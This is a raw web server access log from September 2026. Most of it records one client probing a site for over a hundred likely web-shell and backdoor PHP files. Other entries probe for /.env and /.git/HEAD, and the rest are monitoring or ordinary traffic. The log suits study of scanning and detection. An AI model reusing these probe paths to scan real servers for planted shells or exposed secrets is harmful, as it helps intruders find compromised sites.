"GET /images.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:29 +0000] "GET /ops.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:29 +0000] "GET /BDKR28WP.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:30 +0000] "GET /mac.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:30 +0000] "GET /wmore1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:30 +0000] "GET /wp-ainefgskk.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:30 +0000] "GET /ab.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:31 +0000] "GET /dairg.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:31 +0000] "GET /z60.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:31 +0000] "GET /imageskir.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:31 +0000] "GET /backup-helper.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:32 +0000] "GET /almafkew.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:32 +0000] "GET //database2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:32 +0000] "GET /aa.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:32 +0000] "GET //pJPoKA.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:33 +0000] "GET /24.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:33 +0000] "GET /mmq.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:33 +0000] "GET /fryvbbn.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:33 +0000] "GET /ff2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:34 +0000] "GET /lzlhihzi.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:34 +0000] "GET /bfdghfgv.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:34 +0000] "GET /Dss.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:34 +0000] "GET /uploartg.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:35 +0000] "GET /bgbagbcw.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:35 +0000] "GET /tegubsiu.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:35 +0000] "GET /xxw.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:35 +0000] "GET /cibrkysaeng.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:35 +0000] "GET /gi2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:36 +0000] "GET /min.php HTTP/1.1" 301 178 "-" "-" 43.166.130.123 - - [11/Sep/2026:12:50:13 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 38.34.16.182 - - [11/Sep/2026:12:59:10 +0000] "GET / HTTP/1.1" 301 178 "-" "NetNewsWire/2.x (Mac OS X; http://ranchero.com/netnewswire/)" 152.58.189.153 - - [11/Sep/2026:13:10:10 +0000] "GET /home/media HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12.6; rv:130.0) Gecko/20100101 Firefox/130.0" 20.83.31.217 - - [11/Sep/2026:13:13:44 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 zgrab/0.x" 52.141.45.117 - - [11/Sep/2026:13:14:12 +0000] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:13 +0000] "GET /this_is_a_new_hello_world.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:13 +0000] "GET //deals1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:13 +0000] "GET /alfa.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:13 +0000] "GET /222.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:14 +0000] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:14 +0000] "GET /images.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:14 +0000] "GET /goods.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:14 +0000] "GET /k.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:15 +0000] "GET /k2.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:15 +0000] "GET /media.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:15 +0000] "GET /mac.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:15 +0000] "GET /test1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:16 +0000] "GET /f6.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:16 +0000] "GET /ops.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:16 +0000] "GET /1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:16 +0000] "GET /aaa.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:17 +0000] "GET /b8.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:17 +0000] "GET /test2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:17 +0000] "GET /chosen.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:17 +0000] "GET /8.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:18 +0000] "GET /01yellw.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:18 +0000] "GET /bnbfggf.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:18 +0000] "GET /2P.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:18 +0000] "GET /p.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:19 +0000] "GET /pp.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:19 +0000] "GET /7.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:19 +0000] "GET /dx.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:19 +0000] "GET /min.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:20 +0000] "GET /error_log.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:20 +0000] "GET /hur.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:20 +0000] "GET /crgio.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:20 +0000] "GET /wp-admin/css/ HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:21 +0000] "GET /great.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:21 +0000] "GET /ff1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:21 +0000] "GET /BDKR28WP.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:22 +0000] "GET /images2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:22 +0000] "GET ///admin.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:22 +0000] "GET /prv8.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:22 +0000] "GET //0.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:23 +0000] "GET /gigi.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:23 +0000] "GET /ba.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:23 +0000] "GET /CDX1.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:23 +0000] "GET /k2.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:24 +0000] "GET /atkno.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:24 +0000] "GET /yyyy.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:24 +0000] "GET /C.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:24 +0000] "GET /3.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:25 +0000] "GET /vpn.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:25 +0000] "GET /1100.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:25 +0000] "GET /pJPoKA.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:25 +0000] "GET /mds.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:25 +0000] "GET /mga.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:26 +0000] "GET /ant.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:26 +0000] "GET /iov.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:26 +0000] "GET //uejvv.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:26 +0000] "GET /we.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:27 +0000] "GET /fffm.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:27 +0000] "GET /zzfenvgd.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:27 +0000] "GET /fix.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:27 +0000] "GET /i18n.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:28 +0000] "GET /admin.php?attempt=1 HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:28 +0000] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:28 +0000] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:29 +0000] "GET /file.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:29 +0000] "GET /ccc.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:29 +0000] "GET /wo.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:29 +0000] "GET //wa.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:30 +0000] "GET /modules.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:30 +0000] "GET /mod_simplefileuploadv1.3.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:30 +0000] "GET /elements.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:30 +0000] "GET /filemanager.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:31 +0000] "GET /v4.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:31 +0000] "GET /v3.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:31 +0000] "GET /wp-22.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:31 +0000] "GET /makeasmtp.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:32 +0000] "GET /NewFile.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:32 +0000] "GET /ded.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:32 +0000] "GET /indo.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:32 +0000] "GET /82.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:33 +0000] "GET /ass.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:13:14:33 +0000] "GET /x.php HTTP/1.1" 301 178 "-" "-" 185.218.86.25 - - [11/Sep/2026:13:23:48 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 62.113.113.162 - - [11/Sep/2026:13:36:17 +0000] "GET /product-list-normal-orders/ HTTP/1.0" 301 178 "http://nabawater.com.sa/product-list-normal-orders/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 35.162.140.124 - - [11/Sep/2026:13:41:50 +0000] "GET /?rnd=1789134109467 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 208.109.74.61 - - [11/Sep/2026:13:43:28 +0000] "GET /.well-known/acme-challenge/D9FYRBV-VW9WQ9SBA9UGM5-Z4EUQ4JIO HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:13:43:29 +0000] "GET /.well-known/acme-challenge/WWBHJAS2IHUB02OAX02_7PFE25_WQNHV HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:13:43:31 +0000] "GET /.well-known/acme-challenge/GG6CV53D3P6-JDDPQRHNW6JQZLFZ4L41 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:13:43:33 +0000] "GET /.well-known/acme-challenge/K3NMOC_BOKL4O7GNLKK6-3B8JE6Y0_BQ HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:13:43:33 +0000] "GET /.well-known/acme-challenge/UWBMYE89AV8KECNUT2Y2F0QRK7J0MTCF HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:13:43:34 +0000] "GET /.well-known/acme-challenge/7M02U6_ROU4IYM1_QL2IJ07RYE87TR4U HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 43.153.113.127 - - [11/Sep/2026:13:47:45 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.104.190.180 - - [11/Sep/2026:13:50:49 +0000] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 178 "-" "Go-http-client/1.1" 45.39.17.66 - - [11/Sep/2026:13:52:54 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 45.39.17.66 - - [11/Sep/2026:13:52:55 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "GET /.git/HEAD HTTP/1.1" 301 178 "https://sucuri.net" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "TRACE / HTTP/1.1" 405 568 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "GET /404testpage4525d2fdc HTTP/1.1" 301 178 "https://sucuri.net" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "GET / HTTP/1.1" 301 178 "https://sucuri.net" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "GET /404javascript.js HTTP/1.1" 301 178 "https://www.google.com/url/?sa=t" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" 35.162.140.124 - - [11/Sep/2026:13:54:11 +0000] "HEAD / HTTP/1.1" 301 0 "-" "Go-http-client/1.1" 35.162.140.124 - - [11/Sep/2026:13:54:13 +0000] "GET / HTTP/1.1" 301 178 "https://www.google.com/images/url" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 35.162.140.124 - - [11/Sep/2026:13:54:13 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPad; CPU OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1"
Save
cmd:
run